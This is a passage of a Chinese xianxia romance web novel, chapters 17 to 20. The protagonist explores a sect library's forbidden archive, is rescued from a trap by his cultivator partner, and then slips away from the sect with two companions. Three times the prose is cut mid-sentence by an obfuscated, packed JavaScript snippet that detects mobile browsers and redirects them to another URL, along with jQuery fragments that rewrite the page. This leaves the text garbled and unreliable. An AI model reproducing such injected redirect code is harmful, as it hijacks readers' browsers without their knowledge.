羽熹定在原处,没有回答他问题,低头一番思索,问:“你何时动身?” “后日天明时。” “知道了。”羽熹拿上地图和剑转身出了房门。 这次没有让敛真然送他回去,叫他自去忙,不必管他,他打算在问天阙转一转。 羽熹随机抓了一个路过的弟子问路,“这位师兄,劳烦问一下,藏书阁在何处?” 那弟子看着年纪与风小六差不多大,十六七岁的样子,面嫩,眼神干净,没有配剑,腰间挂了个木枝缠绕的暗绿色香球,还算独特。 被这么一问,他自己也有些糊涂,左右看了看,才指了个方向, “藏书阁在侧峰,应该往这边走,你别叫我师兄,我是这一届刚入门的,我叫钟无期。” 羽熹回道:“你叫我……风小六就行,我不是问天阙弟子。” “啊?” 对方显然很意外,大概是对宗门内况不甚了解,既不是弟子又为何会在内门。 但他没说什么,“我也指不明白,我带你去吧。” “那多谢了。” 两人一前一后跨过一座云桥,翻了半个峰头才抵达藏书阁。 “藏书阁需要有弟子令牌才能进去的,我这里只有一个,我带你进去吧,正好我也来借几本书。” 说罢钟无期上前,走到门外左侧一处圆台上,见那圆台表面光滑,中心有一处凹陷。 钟无期将令牌放在凹陷处,机关一动,藏书阁的大门便开了。 恰好里面走出来一个抱着书的弟子,见是熟人,便寒暄一句,“钟师弟,又来借书?” “白师兄好,我来还上次借的。” 白师兄点头,钟无期便冲羽熹招招手,示意他跟上。 “等等。”白师兄注意到他身后之人有些面生,立时叫住。 “白师兄有何事?” “钟师弟,你也来了有一阵儿了,怎么还不懂门规,一个弟子令牌只能进一个,你身后那人的令牌呢?” “额,师兄,那个他……他不是……” 钟无期有些语无伦次,紧张地看向羽熹。 羽熹上前一步,“我没有令牌,一定要有令牌才能进?” “你若忘带令牌,靠神识也能识别身份,只能宗门内弟子才可……等等!”白师兄视线落在羽熹腰间,忽然卡了壳,“你这剑莫非是……是……” 羽熹把剑取下来递给他,“靠这个能识别么?这是我道侣的剑。” 白师兄并不敢接,后退三步,以掌抵拳,恭敬道:“原来是无相大人的道侣,道侣也是宗门的人,在下冒犯了,请进。” “如此便好,谢了。”羽熹后脑勺一根头发丝得意地扬起,把剑挂回去,随着钟无期进去了。 “原来……原来你就是他们说的无相大人的新道侣啊。我差点以为你进不来,刚才那是藏书阁的掌事师兄,他人很好,但很严格,我都在想如果你进不去,就让你在外面等我,我帮你去找你想要的书了,对了,小六,你要找什么书?” 钟无期在前头带路,对藏书阁内很熟悉。 “新道侣?”羽熹来了兴致,“他难道还有旧道侣?” “不是这个意思。”钟无期尴尬地笑,“我是说,新结契的道侣,哈哈,我从未见过无相大人,只是入宗门前听过他很多传闻。” “哦?什么传闻?” 羽熹两眼放光,准备从这个新弟子入手,好好挖一挖鄢尘离的糗事,最好有那么一两件不可为人道的密辛,拿住他的把柄。 但钟无期却露出了个云方仪一样的崇敬目光,滔滔不绝地说他如何降妖伏魔肃清宵小匡扶正道。 听得羽熹忍不住打了个哈欠,见他终于吹捧完了,才摆摆手说:“无期,这记录问天阙弟子名录的籍册放在何处?” “原来你要看这个啊。跟我来。” 钟无期在一座书架侧边暗格拨弄一番,随即整面墙的藏书架都开始挪动,格间缝隙处伸出无数隐藏的踏板,有序地衔接成阶梯,直通上层。 羽熹跟着钟无期踏上去,走到中层时停了下来。 “这几层从左往右是按照时间排序,从问天阙开山立宗以来所有的弟子籍录。” 羽熹扫了一眼,有些惊讶。 他在天界时,有时在龙宫冬眠,睡一觉都是几百年光阴起步,这问天阙竟然只有区区三千年的历史。 “小六,我先下去还书,你有什么不懂的就来找我。” 说罢他拨动格间机窍,从另一侧阶梯下去了。 羽熹研究了一会儿他方才挪动的位置,也学着调了调,很快,原本向下的阶梯都一格一格收回,又伸出新的踏板组成了一条平直的走廊。 他顺着时间线往前走,不时拿出来翻一翻。 越靠近当下的时间越觉得疑惑,脑中产生一个问题。 从这些书上记载来看,凡修界修士修道的最终目的是飞升。 但他混迹上天界几万年,还真没见着一个下界飞升上来的神仙。 “这几届的凡人不太行啊。” 他又随手拿出一本翻了翻,指尖突然在某一页停住。 这里好像有一个飞升的。 他仔细读了读,发现问天阙两百年前有一个修士受过了八十一道天雷劫,只差一步就能飞升,最后还是失败了。 下场还挺惨。 ——魂飞魄散。 之后他再翻了几册,再没有走到方才那人那一步的修士了。 “啧啧……” 羽熹有些唏嘘地摇头,再往前走了几步,停在最近二十年份的籍册前。 他循着索引指示快速翻看,很快找到了他想看的名字。 ——鄢尘离。 在鄢尘离名字后面,跟着“谢乔”的名字,标注的关系是:师徒。 “奇怪,这一页怎么什么都没写。” 他两指捏住泛黄的书页,左右翻了翻,记录这两人名字的这一页有一大半是空白的。 其他弟子都会写明身份来历等基本信息,若是逝者,生卒年月修为等级及平生主要事迹,都有或详或略的记载,可一到谢乔这儿什么都没有,连是男是女都不知道。 他指尖一下一下点在书脊,凝眉思索。 忽然,书页间弹出一滴圆滚滚的墨点子,趴在他手指尖上头,挨挨蹭蹭的。 “墨灵?” 这种墨点子是书中的精灵,开了灵智,但脾气很大,若是不好好爱惜书籍,很容易被它们咬掉手指头。 羽熹连忙把手指收回来。 小墨灵漆黑的眼珠子随着他的动作转了转,一点也没有要咬他的意思,甚至还想再来蹭一蹭他。 羽熹试探着用手指去摸它,墨灵那张圆润的小黑脸登时露出享受的表情,甚至还伸了伸脑袋,主动靠近。 “正好,来帮我找找。” 他又将合上的籍册翻开,将墨灵引到谢乔名字处,“帮我找找,哪些书上有这个名字?” 墨灵在“谢乔”二字上滚了滚,立马飞至空中,呼朋引伴。 霎时,从周围书格中飞出无数墨灵,聚集在小墨灵前,一阵细微的叽里呱啦后,墨灵们迅速散入迷宫一般的书架中。 羽熹原先还担心这藏书阁这么大,就这么找下去,几天几夜都找不完,有墨灵便方便多了,便坐下静静等待。 一炷香后,墨灵们抬了两本书给他送来。 “才两本?” 那谢乔不是很厉害么,怎么提到他的书这么少? 他接过书册,墨灵还贴心地帮他翻到有记载的位置,羽熹一目十行,发现只是同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984403|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名同姓,根本不是他要找的那个谢乔。 “只有这么点吗?” “嘤嘤哦哦哦~” 墨灵们此起彼伏地跳动,羽熹也不知道他们在说什么,两方牛头不对马嘴交流几句后,墨灵们摇摇头,转身都朝一个方向离开。 “?” 莫非是有些藏书他们搬不动? 羽熹迈步跟上去。 墨灵带着他往书阁深处走,里头的光线越发昏暗,几乎没有弟子来这片区域,再往前,竟然有一道加了禁制的门。 墨灵们也不等他,顾自穿进了门中。 羽熹抬脚就要跟上,忽然身后传来一道声音急慌慌地叫住他,“小六,不可再往前了。” 回头一看,是钟无期。 “为何?” “里面是藏书阁禁区,没有掌门允许是不能进的。门口的禁制也有防御机制,贸然闯入会被攻击,不会认人,你别靠太近了。” 羽熹看了看那扇门,迟疑地收回了伸出去的手。 “哎别咬了别咬了,我马上就去把书归位放好,疼疼疼,别咬屁股……啊……” 钟无期被墨灵咬住屁股,痛得窜了起来,飞快抱着书跑了。 羽熹:“……” 他守在禁制外,摸了摸鼻子,没动。 定定地站了一会儿,他又伸出贼手,不死心地摸了摸禁制大门。 “嘶!” 一道电光闪过,要不是他闪得快,就得被这道雷电劈成爆炸头。 “真不能进啊。” 他还是不死心,原地打着圈走来走去,忽然想起了什么,取下了腰间的曈曚剑,握着剑鞘,用剑柄去碰那扇门。 这回没有电,禁制门像是被石头打碎平静的湖面一样泛起波澜。 “竟然真的可以?” 先前那白师兄说藏书阁是可以识别神识的,而这禁制大门,非掌门仙尊不能入,那鄢尘离总可以吧。 本命剑刻印着主人的神识,他本只是想试试,结果真的能过去。 于是他抱着剑,小心翼翼地穿过了禁制大门。 禁制门涟漪荡尽,眨眼消失,后方又变成一块暗区。 黑暗中,一个背靠书架的人形忽然动了动,腰间闪过一道绿影,下一瞬便没入黑暗。 与此同时,鄢尘离正在主峰大殿与应冕商议事情。 应冕把一颗弟子呈上的血流萤灵石拿在手上拿给他瞧, “这血流萤销声匿迹十多年,近期却突然开始冒头,我们顺着恭长夜的线索去查,发现在九州范围内的暗市中,已经流通有一阵儿了。” 鄢尘离没有接过,眼神暗了暗,嗓音又沉又冷, “掌门,谢乔是我亲手斩杀,你们也亲眼所见他已经死了。” 应冕连忙摆手,“不不不,我不是怀疑谢乔没死,只是通过我们截获的几批血流萤对比来看,发现他们品质都不一,严谨来说,是一次比一次好,更接近于恭长夜所用的血流萤。” 说着他顿了一下,又道:“而你我都知道,恭长夜的血流萤,从蕴含的力量和纯度来看,是十七年前没销毁干净的那批,市面上的那些,应当是在不断改进,向那批水平靠近,假以时日,超越也不是没可能。” 鄢尘离漠然,半张脸蒙上阴翳。 应冕摇头叹口气,“恐怕是有人,想要再次在修真界,搅动风云了。” 两人谁也没说话,候在一旁的弟子偷偷觑着二人,越发觉得压力大。 忽然,鄢尘离神识一动,侧目朝某个方向看了一眼。 神识有所动,他终于开口,“此前我已说过,血流萤之事再不过问,只能劳烦掌门解决了。我还有事,告辞。” 大殿上还荡着回音,他人已经无影无踪。 下一瞬,便出现在了藏书阁。 18. 杀阵 禁区书阁和外间差异很大。 仿佛进了一个复杂机关的内部,四面没有墙,只有错综复杂的书架在延伸。 没有东南西北上下左右,一转身,来时路已消失,变成了新的格局,行差踏错,便是死路。 在这里,稍有不慎就会迷失。 廊上每隔一段距离便有一盏悬浮的八角浮灯,里头发光的是一种可燃灵石,光焰盛,能长明不衰。 羽熹好奇想看看是什么石头,手还没碰到,那灯盏就飘走了,眼前视线骤然一黑,差点踩空。 “只是一些书而已,用得着设计成这样?” 羽熹心中暗忖:不会是名为藏书阁,实为锁妖塔吧? “羽熹,别碰!”识海里的声音乍然响起,羽熹吓了一跳。 他只是刚伸出手,想随便拿一本下来看看究竟是什么绝世孤本值得这样存放。 手还没碰到,就有一股巨大的吸力从书中迸出,那吸力强劲到他几乎已经站不稳,猛地往前踉跄几步。 “这书是活的?” 龙魂道:“这个区域设下了很强的禁制,一看就是要镇压什么东西,我曾见过有些书,因为沾了主人手指尖的灵气而活了过来,有些则是入了道,却因书中记载的内容太过阴邪而墮魔,一旦有人靠近,就会把人吸到书中,成为书里的画,永远也逃不出来。” 呵! 魔书啊! 羽熹两脚站定后仰,与那股吸力对抗,但那力量却越来越强,猛然脚下一空,整个人飞了过去。 他立马拿起曈曚剑横在身前挡住,剑与书相撞的刹那,黑红刺目的光芒一闪,那道吸力被展开,羽熹猛地往后栽去。 再一抬头,那魔书已经黯淡无光,消停下来。 羽熹喘了两口气,拍拍屁股站起来,摸了摸曈曚剑,“多亏你了,没想到这么有用。” 曈曚剑又是一阵颤栗。 “……”羽熹将之挂在腰间,不再随意触碰,当即去寻找墨灵的踪迹。 那墨灵也是真喜欢他,一路引着他,来到了一处倒悬过来的书架边,一窝蜂拥簇在一起,指着那格子中唯一的一沓散乱残缺的褐纸。 羽熹学聪明了,这回没用手,而是拿曈曚剑去戳了戳手稿,见没什么反应,才拿起来。 瞬间他就被纸上的内容吸引。 这是谢乔的手稿。 当中记载了他创造逆灵转阳法的经过,虽说不全,但光看前半部分已经足够让人惊叹。 除了逆灵转阳,还有一些手记,皆是他下山历练所见之事产生的想法,有一些付诸实践的,皆有成果。 手稿不多,大概是残卷,有些地方还被火烧过,留下了焦黑的缺痕。 “灵骨……易……” 有一页被烧了大半,纸张上不知道沾了什么东西,许多字迹都变得模糊不堪,只能勉强看清几个字。 “灵骨易?鄢尘离这个徒弟果然脑子灵光,什么正的邪的路子都想得到,灵元逆转,那是不是还想过能换灵骨。” 若是真能换,那云方仪以后便可以继续修仙了。 羽熹继续往后翻,想找到更多关于灵骨的记载,然而残稿很薄,三两下就翻到了头。 可惜啊,没有现成的法子。 合上手稿,正要放回去,某种熟悉的感觉一闪闪过。 如同那日在中州州盟驻地的回廊上,脑子里突然浮现一些记忆碎片一般,此刻记忆中也多了一些不属于自己的东西。 难道又是风小六的记忆? 羽熹阖上眼睛试图拼合那些记忆碎片,却发现这次的有所不同。 这次的记忆更多更混乱,千头万绪难以梳理,但他有一种强烈而清晰的认知。 ——这半卷碎残稿后面还记载了很多内容, “所以说谢乔已经琢磨出来了,只是意外被销毁了。” 羽熹低头,在手稿周围翻找还有没有被遗漏的,忽然瞥到一个东西,动作猛地停住。 “不好!” 他立马撒开稿子退后半步,电光火石间,那空空如也的架子在一个瞬息机巧变幻,如深渊张开了血盆大口,差点将他整个人吞噬进去。 他这才看见,原本放手稿的位置下面居然有法印。 这里的每一本书都有独特的法印,不可随意挪动。 他能进禁制门,是用曈曚剑主人的神识蒙混过关,但刚才他是用自己的手取的书,不小心触动了法印。 “大意了。” 羽熹放下手稿转身就跑。 前脚刚迈出去便踩了个空,失重感陡然升起。 整个禁区书阁的书架都开始不停地转换位置,刹那间天地倒错方位尽失。 跌落中,周围的一切都像是活了过来,不断朝他发动攻击。 羽熹飞快找回平衡,躲过一根横空出现的巨木刺,借力一踩跃至左侧坠落的千斤墙上。 还没找到支点站立,那墙便楔进一个方形凹陷中。 紧接着,无数面千斤墙以同样的方式楔起来,竟组成了一个囚笼。 囚笼没有封死,但也只有几条手臂粗的缝隙。 金石摩擦的声音从缝隙传进来,羽熹瞧见,囚笼外已经布满了纵横交错的锁链,一个巨大的玄铁球迅速拖动锁链自由坠落。 羽熹抽出不可不眠剑意,一下一下地劈在千斤墙上,整条手臂都被震麻了,也不见一丝痕迹。 剑意卷了刃,毫无作用,而头顶巨大的阴影已经笼罩下来。 下一秒,轰—— 巨大的撞击声响起,在这个诡异的空间中荡出一层一层的余浪,羽熹产生了耳鸣,好一会儿除了嗡嗡声,什么都听不见。 诶?怎么没被压扁? 他动了动完好无损的胳膊,有些不可思议地抬头看了看,入眼便看到了一个意料之外的人。 在玄铁球砸向囚笼的那一瞬,一道红色光芒如流星般飞向囚笼上方,鄢尘离在这千钧一发之际跃至囚笼之上,用身体接住了这一重击。 玄铁球上压了阵法,鄢尘离都险些接不住,膝盖轰然半跪,重重磕在囚笼坚硬的顶上,他眉头皱了皱,用一只手缓缓举起压在肩头的玄铁阵。 另一只手则伸出,召来少年身上的曈曚剑,金光一闪,一剑劈开了囚笼,甚至没有拔剑出鞘。 羽熹见状立马躲开,囚笼的千斤墙碎裂成块坠入漆黑的无底深渊,鄢尘离一手支撑着玄铁阵,随着碎块一起迅速跌落。 “鄢尘离!” 羽熹大喊一声,以为他被困住,结果一转眼,那玄铁巨阵也轰隆一声被破成两半,鄢尘离击穿玄铁球,踩着碎块轻轻一跃便飞了上来,揽着羽熹离开不断下陷的禁区。 羽熹回头望了一眼,身后的迷阵还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984404|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断演化出新的危机。 再一眼便看不见了,鄢尘离没做停留,带着他直接离开藏书阁,回了卧雪宫。 “你没事吧?那个,我就是随便转转,误闯……” 羽熹抓了抓脑袋,犹豫地伸出手,想碰碰他肩膀。 鄢尘离一个侧身躲开,头也不回地往自己寝殿走。 羽熹撇了撇嘴,“好心关心一下你,甩脸子给谁看。” 他只是小声咕哝,没成想鄢尘离却停下了脚步。 被听见了? 羽熹心虚地盯着鄢尘离后背,只见他站了一会儿,什么也没做,头也不回地走掉了。 “……” 他竟然也没问自己去书阁禁区做什么? 羽熹有些不明所以。 这一天又是狐假虎威又是偷闯禁区,羽熹早就累的不行,回了房便瘫在床上。 直到天色已深,翻来覆去的少年终于躺不住,默默坐了起来。 不对。 他脑海中回忆几遍禁区内的细节,好像记得那封了大阵的玄铁巨球,似乎是直接砸在了鄢尘离肩膀上才被举起来了。 再联系他把自己带回卧雪宫时的状态,一定是受伤了。 羽熹坐在床榻边,朝门口看了一眼,手指捏了捏,又松开。 他受伤便受伤,又死不了,有什么好担心的。 何况曾经在天界,两人经常打架,谁没受过伤? 这老东西还经常使坏,不是抢他东西就是去龙宫祸祸他家小鱼小虾的。 都是下来历劫,鄢尘离命可比他好多了。 天之骄子,修真界最强,地位尊贵,万众景仰,这哪是历劫,这是下来当皇帝了。 而他呢,一睁眼就被骗,还被推下悬崖差点魂飞魄散,一路过来尽是倒霉催的事,没一点儿顺心的。 大家都是历劫,怎就如此不公平! “……” 羽熹越是琢磨越气不过,抱着手倒头又躺下了。 一刻钟后,黑暗中房门被悄悄打开,一道影子从卧雪宫西殿偷偷钻出,轻飘飘地闪进了东侧寝殿。 就看看他死了没。 羽熹对自己说。 一回生二回熟,他直接猫步到内间床前,轻手轻脚凑过去。 怎么没人? 床上空空如也,被褥也没动过的样子,这人光修炼不睡觉的么。 “你在干什么?” “!” 冷不丁一道声音从耳边传来,羽熹做贼心虚,吓得猛退一步。 他就站在床边,膝盖磕在床榻边缘一弯,整个人就倒了下去。 鄢尘离下意识伸手扶住他的腰,整个人也被带了下去。 羽熹仰面倒下,却没摔疼,鄢尘离顺势一捞,就和他半调了个向,成了鄢尘离用一半肩膀撑着,而他压在鄢尘离怀中。 “嘶……” 昏暗中,羽熹听见一声轻呼。 “是不是肩膀受伤了?我看看。” 羽熹腰部发力一个翻身覆在鄢尘离身上,二话不说上去就扒人衣服。 “你们那什么藏书阁禁区,不让看就不让看,谁这么歹毒设下如此凶险的杀阵,哪有自己人整自己人的?” “……”鄢尘离拽住他乱动的手腕,语调中有一丝意味不明的隐忍,“我设的。” 羽熹:“……” 19. 私奔 少年身姿灵活,和水中的小鱼儿一样,滑不留手,他两腿夹着男人的腰腹,上半身不管不顾地压上去。 鄢尘离怕他失衡,不得不将他放开,半只手扶着他肩膀,羽熹便趁这个空档,拉开了他的衣襟,牵扯到伤口,男人发出一声闷哼。 右肩狰狞的伤暴露在眼前,羽熹心惊,动作立马轻了些。 “难怪,连你堂堂无相大人都受伤了。自己都躲不开,何故弄个那么厉害的,万一被自己设下的阵困杀,传出去真是笑掉大牙了。” “……”鄢尘离额角狠狠一跳,咬着牙克制着什么。 羽熹还没完,低头在他伤口轻轻吹了吹,一个劲儿地叨叨,“估计也没人能想到,有一天会被自己设下的阵伤成这样,你也算是前无古人了,以后长点心,设阵留一条生机,也算是给自己留后路了。你说一个藏书阁,你弄那么吓人干什么,也亏得是你,换成别人早死里头了。” “…………”鄢尘离忽然发难,钳住羽熹在他肩上戳来戳去的手,下颌绷紧,眼神阴沉,声音冷的可怕,咬着牙低吼:“你也知道!” “唔~” 羽熹吃痛,连忙抽手,“知道就知道,你捏我干嘛,弄疼我了!” 鄢尘离狠狠瞪了他一眼,没有松手,厉声发问:“镯子呢?” “什么镯子?” 羽熹一手被钳制,身形不稳,只能用另一只手撑着,瀑布般的乌发从一侧肩膀倾注而下, “那个信物?没扔呢,在我身上,问这个干什么?” 那股大力忽然松开,羽熹忙搓了搓手腕,一看竟然红了一片,有些委屈,“你这么凶干什么,我好心给你看伤口,你……你干什么?” 低头一看,身下男人的手不知何时落在他腰间摸来摸去,羽熹怕痒,扭动着腰肢躲避,“好痒,你松开松开……” 鄢尘离黑着脸,把少年翻来覆去摸了一遍,才在他怀中摸到一块硬物,将之取出,正是他给的法镯。 “你不会是要收回去吧?那正好,我还不想要呢,你把我的龙珠还我!” 羽熹气恼,伸手钻进男人衣袍里也要去翻找,却被掐着腰一个天旋地转,倒转了位置,那张可恨的脸出现在他上方,眼神幽暗地盯着他,让他莫名有种被野兽盯上的错觉。 他抬手就想给他一拳,刚掷出去,便被一阵无形的力量束缚,整条胳膊都定在空中,怎么都碰不到那个人。 “你!你这是欺负人!” 鄢尘离并不理会他,只是执意地将他禁锢住,将法镯抛至空中默念法决。 登时法镯灵光大盛,不停地旋转并扩大口径,缓缓套在面前莹白的手腕上,又慢慢缩小至于他腕骨契合。 光焰消失后,那股压迫感慢慢消失,鄢尘离眼底疯狂又危险的火渐渐熄灭。 “干什么非要给我戴,难看死了,我不要!你给我取下来,否则你信不信我把你卧雪宫淹了!” 羽熹试图脱下法镯,然而把皮肤都磨红了也取不下来,法镯和他的手完美契合,就算自己缩小身形,法镯也会跟着缩小。 鄢尘离俯身盯着身下少年挣扎了一会儿,无动于衷,好半天从他身上下来,整了整衣襟,掀帘往外间去,把他的叫嚣当成耳边风。 “……” 羽熹现在后悔的很,吃饱了撑的才要来关心这个鄢尘离的伤,让他疼死算了。 他气哼哼从床上翻身下来,召唤出不可不眠剑意,拎着就朝人冲过去,“你起来,我们打一场。” 鄢尘离翻手垂放在膝盖,阖目养神,并不应战,不咸不淡道:“第十一条,孕期需静心养神,戒忧戒燥,尤忌大悲大喜。” 举在空中的菜刀没来得及砍下去,羽熹动作顿住,一会儿咬紧牙关,一会儿深呼吸。 好半晌,他将剑意一扔,扭头就走。 本君可是龙,不与此等凡人计较! 且忍他一忍,等龙蛋出生了,管他是谁,必给他身上捅几个洞。 “你到底在找什么?” 鄢尘离的声音幽幽从殿内传来。 羽熹脚步一顿,登时有些心虚,“你管得着么。” 少年一溜烟儿跑没了影,鄢尘离并未追,皱着眉抬手摁了摁太阳穴位置,身形忽然有些不稳。 曈曚剑安静了一夜,突然间开始躁动起来。 鄢尘离似乎是在拼命压制什么东西,收效甚微。 再一睁眼,整个人气质已然大变,黑暗中,一双暗红色的瞳极其缓慢地转向少年离开的方向。 …… 两日后,卯时一刻,云方仪和云霄青已经收拾好东西,准备离开问天阙。 同院弟子卯时起床晨练,不少人知道云方仪今日离开的消息,此时寓所门可罗雀,竟无一人来相送。 云霄青说,“公子,昨日我去主峰时遇到了敛真然,他让我转告你,掌门派了任务要他即刻动身去中州,不能来相送了,若是能尽早完成任务,必寻机会上北原拜访。” “我不打算回北原。”云方仪定定站着,眼睛落在通向寓所的必经之路上一瞬不转。 “为何?”云霄青不明白,“可若公子不回北原,又当去何处?” 云方仪没有回答,依旧愣愣地看着卧雪宫的方向。 云霄青登时明白了什么,张了张嘴,有些犹豫。 “公子别等了,小六他是不可能跟我们走的,他……” 看云方仪固执的样子,云霄青想了想,道:“我实话告诉公子吧,在你养伤这阵子问天阙都传遍了,小六早已和无相大人结为道侣,他不可能会跟我们离开,无相大人也不会允许的。” 几句话掷地有声,云方仪眼瞳有一瞬间紧缩,垂落在腿侧的手握了握,什么都没握住。 他还是什么都没有说,如同一座雕像,一动不动立在檐下。 青云退散,炎阳攀升,正正悬在当头,云方仪终于动了动,似乎终于肯接受事实。 忽然道路尽头拐角处一撮天青色云纱衣摆扬起,风吹动树影微微晃动,一道欢快的少年音传了过来。 “云师兄,我来啦,你可收拾好了?” 云霄青:“……” 云方仪展颜一笑,“收拾好了,小六,你来了。” “嗯,不是你说今日天明时下山么,我特地收拾了东西跟你一块儿走。”羽熹扛着一个塞满坑坑洼洼东西的大口袋,哼哧哼哧踱过来。 他将那大麻布口袋重重往地上一放,原地小口喘气儿。 云霄青抬头望了望天,这都快午时了,你管这叫天明时? 羽熹哪知道这些,只知道睁眼便是天明这个铁律。 他这两日辛辛苦苦有预谋的省下灵石,就是为了下山这一刻。 为此他还半夜牺牲睡眠时间想了想如何躲过鄢尘离离开宗门,但从昨天起,他连那人影子都没看到过。 灵石倒是没少给,他通通笑纳,连今早的份例也一起扛了过来。 “小六,你就这么走了,无相大人呢?”云霄青问。 “他?关他什么事?我去哪里还要告诉他么?走啦。” “小六,你包里放的什么,这么重,别拿在手上,我给你个芥子袋。”云方仪立马上前去,见是灵石,也没问哪里来的,帮他收进芥子袋中,羽熹接过袋子往空中抛了抛,随手别在腰间。 两人一前一后往山下的方向而去,云霄青落后几步,总觉得有些不对劲。 这算是……私奔? “等等云师兄,我们不走正门下山。”羽熹停下脚步。 “可有什么不为人知的小径能下山的?”羽熹解释道:“若走正门,让宗门的人看到我是和你们一起出去的,恐怕很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984405|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开。” 云霄青心道:你也知道很难离开! 没成想云方仪思索一番,竟然真的点了头,“我知道群峰背后有一条路,通向一条纵深的裂谷,能躲开山门大阵,只是路途艰险且会绕非常远的路。” 听见有法子,羽熹眼睛亮了亮,结果发现要走很远,而这问天阙又有那劳什子门规,不得御剑,这要是徒步走过去,脚都得走断。 愁眉苦脸一会儿,他看了看云方仪,咬牙道:“走吧。” 这次他必要了了这救命之恩。 一行三人逆向而行,往裂谷而去,走了三日,终于抵达裂谷,羽熹向云方仪确认裂谷对岸不在山门大阵范围,便久旱逢甘霖一般,张开手臂就往悬崖下跳。 他这一举动毫无征兆,云方仪大骇,大喊一声便扑上去,好在被云霄青拉住,否则他可能就要再死一次了。 “小六!小六——” 山谷传来回音,很快回音便被一道龙吟吞没,一条白龙腾云驾雾而起。 云方仪望着欢腾的小龙一时怔然。 “公子……”云霄青有些不忍地看向云方仪。 云方仪点点头,“我知道。” 云霄青意外,“你知道?” 还没得到回答,那小白龙已经朝他们飞了过来,云霄青登时有点激动。 他这辈子还没见过龙呢,没想到有生之年真能看到已列为仙族的龙,而且还有可能要骑龙飞行,激动得忘记了问云方仪的问题。 他已经做好准备,结果小白龙并未降落,“咻”得一下飞过来,两只爪子一边一个,把两人抓起来就掉头腾至云上。 以为自己将会是修真界御龙第一人的云霄青:“……” 云方仪看着越来越远的大地和群山有些出神,自阴墟回来,他已经很久没这样在云层中御剑而行的感觉了。 羽熹循着记忆中的地图飞出问天阙后开始往北,这块地带没什么人烟,过了连绵的群峰就是蓝黑色的海,无边无垠。 直至看见了稀稀拉拉一两座小岛,云方仪才提醒他道:“小六,我们下去吧,你这样子若是被人发现了,恐怕会惹来更大的麻烦。” 羽熹知道自己现在是香饽饽,修为尚且没恢复,任性不起来,便找了个没人的海岸降落。 负重飞了半天他也累了,这回更是抬个腿都不乐意,最后是云霄青提出御剑载他,他才肯赏个眼神。 “你还会御剑?” 羽熹有些意外。 云霄青不是跟风小六一样都是云方仪的随从么,怎么风小六废柴一个,云霄青却是个深藏不露的高人? 云方仪道:“他是我的亲随,从小跟着我一起修炼,但他并未拜入问天阙,只是跟我一道而来而已。” “我只负责保护云公子。”云霄青说。 他如一堵墙立在剑前,目光鹰隼般搜寻大地人烟,很快御剑而下,停在了一座小城城门外。 “我们在此处暂歇,等入城后去看看这里有没有芳草堂,若能买一艘小型飞艎,咱们赶起路来会更方便。” “芳草堂还卖飞艎?”羽熹想起之前回问天阙时乘的那艘仙气飘飘巍峨气派的大船,不由得心痒痒,早就想弄一艘来玩玩。 “芳草堂什么都有,但他们卖的和宗门的飞艎不同,宗门的一般都是自己练造,芳草堂造的都是一些小型飞艎,和渔舟差不多大。” “什么都有?”羽熹眯了眯眼。 “我早就想问了,羽熹,你偷跑出来到底要做什么?你不知道外面多少人惦记你肚子里的蛋?”龙魂忍不住了,一人一句发问。 “是啊,咱好不容易找了个不好惹的冤大头接盘,他还肯按照手册的要求任劳任怨给你养孩子,你怎么转眼就把人抛弃,这跟那些提裤子就跑的负心汉有什么区别?” 羽熹:“……” 20. 芳草堂 此城僻远,入夜后街上便没什么人了。 云方仪找了个客栈住下,几人要了些饭食过后便各自整理行囊。 羽熹摆弄芥子袋,回龙魂道:“我要出来找一件东西,给曈曚剑做镇剑,平衡曈曚那股极阳之力,只要压制住剑,就不会再被反噬。” “哟呵。”龙魂调侃一句,“你们不是宿敌么,你还给他找宝贝镇剑?” 羽熹不屑,“谁稀罕帮他,不过是为了还云方仪的恩情,他为了救我才变成这个样子,修为废灵骨碎,身未死道已消,换别人还不得疯?” “我帮鄢尘离解决剑的问题,以此为交换,要他收云方仪为徒,这不过分吧。” “……”龙魂陷入沉默,数息后又道:“这天下若真有能镇住曈曚剑的宝贝,他自己为什么不去找?” 羽熹没说话,这也是他担心的。 本命剑出了问题,是个人都会想着解决,如果依旧没解决,或许就是找不到办法,或者那个法子难以做到。 羽熹起身走到窗边,撑开窗户眺望墨色长街。 此刻在外游荡的多是修士,街边店铺已经关闭,只有几间还亮着灯。 羽熹说:“仙界有一种灵植,长在深海,它的身体不断死亡又新生,能长好几万年不灭,可一旦遇到阳光,就会彻底消亡,硬化成一种晶石,这种晶石蕴藏着深海的力量,龙宫会用它做大门口的镇物。” 龙魂抓住重点:“你也知道是仙界,这仙界的灵宝,下界如何会有?” “不找找怎么知道。”羽熹关了窗,溜达到云方仪屋子串门去。 